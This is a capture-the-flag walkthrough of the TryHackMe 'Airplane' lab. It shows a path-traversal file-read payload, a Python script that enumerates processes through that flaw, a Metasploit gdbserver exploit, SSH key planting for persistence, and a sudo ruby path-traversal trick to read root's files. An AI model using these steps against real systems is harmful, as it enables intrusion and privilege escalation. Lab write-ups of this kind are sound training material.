            <content:encoded><![CDATA[<p>This writeup will guide you through the <strong>“Airplane”</strong> room on TryHackMe, from start to finish. We’ll cover the steps, tools, and techniques needed to complete the challenge, from initial scanning to gaining root access. Whether you’re a beginner or an experienced hacker, this guide will help you navigate and conquer the “Airplane” room. Let’s dive in and take off on this cybersecurity adventure!</p><p>The first step is to perform an Nmap scan to identify open ports and services on the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*rhm4jERoJ0MUBqPrpZ4HGQ.png" /></figure><p>now first configure /etc/hosts to resolve given ip to airplane.thm</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*zeneIuIIx5mLrZDxSgzotA.png" /><figcaption>cmd: nano /etc/hosts</figcaption></figure><p>Upon visiting airplane.thm:8000, we discovered a <strong>Local File Inclusion (LFI)</strong> vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*pwBIYoTWPpLI3Fs5Dl7Ymw.png" /><figcaption>actually there one correction in screenshot its ?page=../../../../etc/passwd</figcaption></figure><p>By visiting using burpsuite <strong>/proc/net/tcp, </strong>we observed several running services and noted that port 6048 → hex (17A0) also has an active unknown service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sb14GFvUlgS6bs_N7gPnZA.png" /></figure><p>I use chat-gpt to write python code to find pid of services running on port 6048.</p><pre>import requests<br><br>def read_file(base_url, path):<br>    file_url = f&quot;{base_url}/?page=../../../../{path}&quot;<br>    try:<br>        response = requests.get(file_url)<br>        if response.status_code == 200:<br>            return response.text<br>        else:<br>            return None<br>    except Exception as e:<br>        print(f&quot;Error reading {path}: {e}&quot;)<br>        return None<br><br>def find_pid_by_port(base_url, port):<br>    for pid in range(1, 5000):  # Adjust the range based on the expected number of PIDs<br>        cmdline_path = f&quot;proc/{pid}/cmdline&quot;<br>        cmdline = read_file(base_url, cmdline_path)<br>        if cmdline:<br>            if str(port) in cmdline:<br>                return pid<br>    return None<br><br># Example usage<br>base_url = &#39;http://airplane.thm:8000&#39;<br>port = &#39;6048&#39;<br>pid = find_pid_by_port(base_url, port)<br>if pid:<br>    cmdline = read_file(base_url, f&quot;proc/{pid}/cmdline&quot;)<br>    status = read_file(base_url, f&quot;proc/{pid}/status&quot;)<br>    print(f&#39;PID using port {port}: {pid}&#39;)<br>    print(f&#39;Command line: {cmdline}&#39;)<br>    print(f&#39;Status: {status}&#39;)<br>else:<br>    print(f&#39;No process found using port {port}&#39;)</pre><p>I discovered that <strong>gdbserver</strong> is running on port 6048 with PID 524.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*qp6Gqn4rOkZ0P0zgCm48cA.png" /></figure><p>I found out that there is an exploit available for gdbserver, so I used the Metasploit exploit multi/gdb/gdb_server_exec. and fill all required options.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*usZDllRyJWHoRyBEmwsQNg.png" /></figure><p>we get <strong>meterpreter.</strong></p><p>After running the exploit, you will get a shell, but it is not the one we need. By examining /etc/passwd, we see there is another user named <strong>carlos</strong>. Our next step is to escalate our privileges to the<strong> carlos</strong> account.</p><h4><strong>Escalating our privileges to the carlos account.</strong></h4><p>I check files owned by the user carlos with the SUID (Set User ID) permission set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*0PbzcvGC-j0LHM_XruJV6Q.png" /></figure><p>Finally, we escalated privileges to the carlos account. Since it was not in interactive mode, to make it work more appropriately, I wrote my local machine’s id_rsa.pub to /home/carlos/.ssh/authorized_keys. This allowed me to SSH into the carlos account without a password.</p><p>Now, I was able to read the <strong>user.txt </strong>file.</p><h3><strong>Privilege Escalation</strong></h3><p>To obtain root.txt, we used sudo -l and saw that carlos could run /usr/bin/ruby /root/*.rb as sudo without a password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*4IiBQkdzpNZlQjs2CkRpnA.png" /></figure><p>I used a trick here by saving the script in the current directory, but to run it, I used the path /root/../home/carlos/read_root.rb.</p><p>Here is the Ruby script I wrote to read root.txt:</p><pre># read_root.rb<br>puts File.read(&#39;/root/root.txt&#39;)</pre><p>I saved this script in my current directory and executed it using the following command:</p><p>sudo /usr/bin/ruby /root/../home/carlos/read_root.rb</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*IP143-qv1xpwtoCCu9rFyA.png" /></figure><p>finally we got root_flag..</p><p>In conclusion, navigating the ‘Airplane’ challenge on TryHackMe provided a hands-on exploration of cybersecurity techniques. From initial reconnaissance using Nmap to exploiting vulnerabilities such as Local File Inclusion (LFI) and leveraging SUID misconfigurations, each step taught valuable lessons in penetration testing. By responsibly escalating privileges to the carlos account and eventually accessing root.txt, I reinforced the significance of thorough system analysis and careful exploitation. I encourage aspiring cybersecurity enthusiasts to delve into similar challenges, emphasizing the importance of ethical hacking and continuous learning in this dynamic field.</p><p>Lastly, a big thank you to all the readers. Your interest in cybersecurity fuels the sharing of these experiences. I hope this walkthrough has been insightful and inspires your own ethical hacking journey.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=005cd47af6fc" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>